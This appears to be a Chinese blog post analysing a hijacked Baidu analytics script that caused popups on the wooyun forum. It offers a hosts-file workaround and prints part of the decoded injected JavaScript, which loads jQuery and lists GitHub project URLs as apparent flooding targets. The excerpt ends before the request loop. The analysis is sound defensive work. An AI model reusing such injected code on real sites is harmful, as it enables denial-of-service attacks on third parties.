一招解決WARNING: malicious javascript detected on this domain

 

　　臨時解決方法：

　　修改hosts，添加""127.0.0.1 hm.baidu.com" 。

　　詳細原因分析：今天中午刷著全國最大的信息安全從業人員同性交友社區zone.wooyun.org的時候，忽然浏覽器每隔2秒就不斷的彈窗：

　　malicious javascript detected on this domain

　　我第一反應就是不知道哪個調皮的基友又把zone給XSS了，馬上打開開發者工具分析。

　　0x01 細節

　　之後立刻發現彈窗的js居然是從github加載的：

　　可是為什麼烏雲會從github加載js呢，並且還是從greatfire和紐約時報鏡像加載。

　　第一反應是頁面有xss或者js被劫持了，找了半天終於找到了，居然是

　　hm.baidu.com/h.js

　　這個js的確被烏雲加載了沒錯，這是百度統計的js代碼，打開後裡面是一個簡單加密後的js，eval了一串編碼後的內容，隨便找了個在線解密看了下，發現如下內容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;